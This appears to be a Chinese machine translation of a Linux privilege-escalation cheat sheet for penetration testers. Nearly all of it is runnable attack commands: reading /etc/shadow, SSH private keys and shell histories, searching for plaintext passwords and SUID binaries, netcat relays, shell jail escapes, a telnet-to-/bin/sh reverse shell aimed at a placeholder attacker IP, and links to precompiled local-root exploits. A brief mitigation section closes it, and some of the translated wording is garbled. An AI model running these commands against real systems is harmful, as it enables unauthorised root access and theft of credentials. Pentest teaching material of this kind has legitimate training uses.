**基本Linux权限提升**

这只是一个**基本而粗糙的指南**。由于Linux差异很大，因此并非每个命令都适用于每个系统。“它”不会跳下屏幕-你去寻找那个*“小东西”*为“ *魔鬼在细节* ”。

**枚举是关键。**

（Linux）特权提升是关于：

* **收集**- 枚举，更多的枚举和更多的枚举。
* **流程**- 整理数据，分析和确定优先级。
* **搜索**- 知道要搜索什么以及在哪里可以找到漏洞利用代码。
* **适应**- 自定义漏洞利用程序，因此适合。并非每种漏洞都能为“现成”的每个系统工作。
* **尝试**- 为（很多）尝试和错误做好准备。

**操作系统**

**什么是发行类型？*什么版本的？***

|  |  |
| --- | --- |
| 1  2  3  4 | cat /etc/issue  cat /etc/\*-release  cat /etc/lsb-release # Debian based  cat /etc/redhat-release # Redhat based |

**什么是内核版本？*是64位吗？***

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | cat /proc/version  uname -a  uname -mrs  rpm -q kernel  dmesg | grep Linux  ls /boot | grep vmlinuz- |

**从环境变量中可以学到什么？**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | cat /etc/profile  cat /etc/bashrc  cat ~/.bash\_profile  cat ~/.bashrc  cat ~/.bash\_logout  env  set |

**有打印机吗？**

|  |  |
| --- | --- |
| 1个 | lpstat -a |

**应用与服务**

**哪些服务正在运行？*哪个服务具有哪个用户特权？***

|  |  |
| --- | --- |
| 1  2  3  4 | ps aux  ps -ef  top  cat /etc/services |

***根目录*正在运行哪些服务*？在这些易受攻击的服务中，值得仔细检查！***

|  |  |
| --- | --- |
| 1  2 | ps aux | grep root  ps -ef | grep root |

**安装了哪些应用程序？*他们是什么版本？他们目前在跑步吗？***

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | ls -alh /usr/bin/  ls -alh /sbin/  dpkg -l  rpm -qa  ls -alh /var/cache/apt/archivesO  ls -alh /var/cache/yum/ |

**任何服务设置配置错误？*是否附有（脆弱的）插件？***

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10 | cat /etc/syslog.conf  cat /etc/chttp.conf  cat /etc/lighttpd.conf  cat /etc/cups/cupsd.conf  cat /etc/inetd.conf  cat /etc/apache2/apache2.conf  cat /etc/my.conf  cat /etc/httpd/conf/httpd.conf  cat /opt/lampp/etc/httpd.conf  ls -aRl /etc/ | awk '$1 ~ /^.\*r.\*/ |

**计划了哪些工作？**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12 | crontab -l  ls -alh /var/spool/cron  ls -al /etc/ | grep cron  ls -al /etc/cron\*  cat /etc/cron\*  cat /etc/at.allow  cat /etc/at.deny  cat /etc/cron.allow  cat /etc/cron.deny  cat /etc/crontab  cat /etc/anacrontab  cat /var/spool/cron/crontabs/root |

**是否有纯文本用户名和/或密码？**

|  |  |
| --- | --- |
| 1  2  3  4 | grep -i user [filename]  grep -i pass [filename]  grep -C 5 "password" [filename]  find . -name "\*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla |

**通讯与网络**

**系统具有哪些NIC？*它连接到另一个网络了吗？***

|  |  |
| --- | --- |
| 1  2  3 | /sbin/ifconfig -a  cat /etc/network/interfaces  cat /etc/sysconfig/network |

**什么是网络配置设置？*您可以找到关于该网络的哪些信息？DHCP服务器？DNS服务器？网关？***

|  |  |
| --- | --- |
| 1  2  3  4  5  6 | cat /etc/resolv.conf  cat /etc/sysconfig/network  cat /etc/networks  iptables -L  hostname  dnsdomainname |

**其他哪些用户和主机正在与系统通信？**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10 | lsof -i  lsof -i :80  grep 80 /etc/services  netstat -antup  netstat -antpx  netstat -tulpn  chkconfig --list  chkconfig --list | grep 3:on  last  w |

**缓存了什么？*IP和/或MAC地址***

|  |  |
| --- | --- |
| 1  2  3 | arp -e  route  /sbin/route -nee |

**数据包嗅探是否可能？可以看到什么？*听实时路况***

|  |  |
| --- | --- |
| 1个 | tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 |

*注意：tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]*

**你有壳吗？*您可以与系统互动吗？***

|  |  |
| --- | --- |
| 1  2  3 | nc -lvp 4444 # Attacker. Input (Commands)  nc -lvp 4445 # Attacker. Ouput (Results)  telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! |

*注意：[http](http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/) :*[*//lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/*](http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/)

**是否可以进行端口转发？*从另一个视图重定向流量并与之交互***

*注意：[http](http://www.boutell.com/rinetd/)：[//www.boutell.com/rinetd/](http://www.boutell.com/rinetd/)*

*注意：[http](https://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch) :*[*//www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch*](https://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch)

*注意：[http](http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip) :*[*//downloadcenter.mcafee.com/products/tools/foundstone/fpipe2\_1.zip*](http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip)

*注意：FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]*

|  |  |
| --- | --- |
| 1个 | FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 |

*注意：ssh-[L / R] [本地端口]：[远程IP]：[远程端口] [本地用户] @ [本地IP]*

|  |  |
| --- | --- |
| 1  2 | ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port  ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port |

*注意：mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]> backpipe*

|  |  |
| --- | --- |
| 1  2  3 | mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay  mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)  mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) |

**可以挖隧道吗？*在本地远程发送命令***

|  |  |
| --- | --- |
| 1  2 | ssh -D 127.0.0.1:9050 -N [username]@[ip]  proxychains ifconfig |

**机密信息和用户**

**你是谁？谁登录？谁已经登录？那里还有谁？谁能做什么？**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9 | id  who  w  last  cat /etc/passwd | cut -d: -f1 # List of users  grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users  awk -F: '($3 == "0") {print}' /etc/passwd # List of super users  cat /etc/sudoers  sudo -l |

**可以找到哪些敏感文件？**

|  |  |
| --- | --- |
| 1  2  3  4 | cat /etc/passwd  cat /etc/group  cat /etc/shadow  ls -alh /var/mail/ |

**家庭目录有什么“有趣”的地方吗？*如果可以访问***

|  |  |
| --- | --- |
| 1  2 | ls -ahlR /root/  ls -ahlR /home/ |

**里面有密码吗？脚本，数据库，配置文件还是日志文件？*密码的默认路径和位置***

|  |  |
| --- | --- |
| 1  2  3 | cat /var/apache2/config.inc  cat /var/lib/mysql/mysql/user.MYD  cat /root/anaconda-ks.cfg |

**用户正在做什么？*纯文本有密码吗？他们在编辑什么？***

|  |  |
| --- | --- |
| 1  2  3  4  5 | cat ~/.bash\_history  cat ~/.nano\_history  cat ~/.atftp\_history  cat ~/.mysql\_history  cat ~/.php\_history |

**可以找到哪些用户信息？**

|  |  |
| --- | --- |
| 1  2  3  4 | cat ~/.bashrc  cat ~/.profile  cat /var/mail/root  cat /var/spool/mail/root |

**可以找到私钥信息吗？**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15 | cat ~/.ssh/authorized\_keys  cat ~/.ssh/identity.pub  cat ~/.ssh/identity  cat ~/.ssh/id\_rsa.pub  cat ~/.ssh/id\_rsa  cat ~/.ssh/id\_dsa.pub  cat ~/.ssh/id\_dsa  cat /etc/ssh/ssh\_config  cat /etc/ssh/sshd\_config  cat /etc/ssh/ssh\_host\_dsa\_key.pub  cat /etc/ssh/ssh\_host\_dsa\_key  cat /etc/ssh/ssh\_host\_rsa\_key.pub  cat /etc/ssh/ssh\_host\_rsa\_key  cat /etc/ssh/ssh\_host\_key.pub  cat /etc/ssh/ssh\_host\_key |

**文件系统**

**可以在/ etc /中写入哪些配置文件？*能够重新配置服务？***

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | ls -aRl /etc/ | awk '$1 ~ /^.\*w.\*/' 2>/dev/null # Anyone  ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner  ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group  ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other  find /etc/ -readable -type f 2>/dev/null # Anyone  find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone |

**在/ var /中可以找到什么？**

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | ls -alh /var/log  ls -alh /var/mail  ls -alh /var/spool  ls -alh /var/spool/lpd  ls -alh /var/lib/pgsql  ls -alh /var/lib/mysql  cat /var/lib/dhcp3/dhclient.leases |

**网站上是否有任何设置/文件（隐藏）？*有数据库信息的任何设置文件吗？***

|  |  |
| --- | --- |
| 1  2  3  4  5 | ls -alhR /var/www/  ls -alhR /srv/www/htdocs/  ls -alhR /usr/local/www/apache22/data/  ls -alhR /opt/lampp/htdocs/  ls -alhR /var/www/html/ |

日志文件中是否有任何内容*（可以帮助“本地文件包括”！）*

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40 | cat /etc/httpd/logs/access\_log  cat /etc/httpd/logs/access.log  cat /etc/httpd/logs/error\_log  cat /etc/httpd/logs/error.log  cat /var/log/apache2/access\_log  cat /var/log/apache2/access.log  cat /var/log/apache2/error\_log  cat /var/log/apache2/error.log  cat /var/log/apache/access\_log  cat /var/log/apache/access.log  cat /var/log/auth.log  cat /var/log/chttp.log  cat /var/log/cups/error\_log  cat /var/log/dpkg.log  cat /var/log/faillog  cat /var/log/httpd/access\_log  cat /var/log/httpd/access.log  cat /var/log/httpd/error\_log  cat /var/log/httpd/error.log  cat /var/log/lastlog  cat /var/log/lighttpd/access.log  cat /var/log/lighttpd/error.log  cat /var/log/lighttpd/lighttpd.access.log  cat /var/log/lighttpd/lighttpd.error.log  cat /var/log/messages  cat /var/log/secure  cat /var/log/syslog  cat /var/log/wtmp  cat /var/log/xferlog  cat /var/log/yum.log  cat /var/run/utmp  cat /var/webmin/miniserv.log  cat /var/www/logs/access\_log  cat /var/www/logs/access.log  ls -alh /var/lib/dhcp3/  ls -alh /var/log/postgresql/  ls -alh /var/log/proftpd/  ls -alh /var/log/samba/  Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp |

*注意：[http](http://www.thegeekstuff.com/2011/08/linux-var-log-files/)：[//www.thegeekstuff.com/2011/08/linux-var-log-files/](http://www.thegeekstuff.com/2011/08/linux-var-log-files/)*

**如果命令受到限制，您会跳出“监狱”壳吗？**

|  |  |
| --- | --- |
| 1  2  3 | python -c 'import pty;pty.spawn("/bin/bash")'  echo os.system('/bin/bash')  /bin/sh -i |

**如何安装文件系统？**

|  |  |
| --- | --- |
| 1  2 | mount  df -h |

**是否有任何卸载的文件系统？**

|  |  |
| --- | --- |
| 1个 | cat /etc/fstab |

**使用了哪些“高级Linux文件权限”？*粘性位，SUID和GUID***

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7  8  9 | find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.  find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.  find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.  find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID  for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other \*bin, for SGID or SUID (Quicker search)  # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)  find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null |

**在哪里可以写和执行？*一些“常见”位置：/ tmp，/ var / tmp，/ dev / shm***

|  |  |
| --- | --- |
| 1  2  3  4  5  6  7 | find / -writable -type d 2>/dev/null # world-writeable folders  find / -perm -222 -type d 2>/dev/null # world-writeable folders  find / -perm -o w -type d 2>/dev/null # world-writeable folders  find / -perm -o x -type d 2>/dev/null # world-executable folders  find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders |

**任何“问题”文件吗？*Word可写的“没人”文件***

|  |  |
| --- | --- |
| 1  2 | find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files  find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files |

**准备和查找漏洞利用代码**

**安装/支持哪些开发工具/语言？**

|  |  |
| --- | --- |
| 1  2  3  4 | find / -name perl\*  find / -name python\*  find / -name gcc\*  find / -name cc |

**如何上传文件？**

|  |  |
| --- | --- |
| 1  2  3  4  5 | find / -name wget  find / -name nc\*  find / -name netcat\*  find / -name tftp\*  find / -name ftp |

**查找漏洞利用代码**

[http://www.exploit-db.com](https://www.exploit-db.com/)

[http://1337day.com](http://1337day.com/)

[http://www.securiteam.com](http://www.securiteam.com/)

[http://www.securityfocus.com](http://www.securityfocus.com/)

[http://www.exploitsearch.net](http://www.exploitsearch.net/)

<http://metasploit.com/modules/>

[http://securityreason.com](http://securityreason.com/)

<http://seclists.org/fulldisclosure/>

[http://www.google.com](https://www.google.com/)

**查找有关漏洞利用的更多信息**

[http://www.cvedetails.com](https://www.cvedetails.com/)

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

**（快速）“常见”漏洞。*警告。预编译的二进制文件。使用风险自负***

[http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/](https://web.archive.org/web/20111118031158/http:/tarantula.by.ru/localroot/)

<http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/>

**缓解措施**

**是否容易找到以上任何信息？**

试试吧！设置可自动执行脚本和/或第三方产品的cron作业

**系统是否已完全打补丁？**

*内核，操作系统，所有应用程序，其插件和Web服务*

|  |  |
| --- | --- |
| 1  2 | apt-get update && apt-get upgrade  yum update |

**服务是否以最低特权级别运行？**

例如，您是否需要以root用户身份运行MySQL？

**脚本*可以自动化吗？***

<http://pentestmonkey.net/tools/unix-privesc-check/>

<http://labs.portcullis.co.uk/application/enum4linux/>

[http://bastille-linux.sourceforge.net](http://bastille-linux.sourceforge.net/)

**其他（快速）指南和链接**

**列举**

<http://www.0daysecurity.com/penetration-testing/enumeration.html>

<http://www.microloft.co.uk/hacking/hacking3.htm>

**杂项**

[http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf](https://jon.oberheide.org/files/stackjacking-infiltrate11.pdf)

<http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf>

[http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html](https://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html)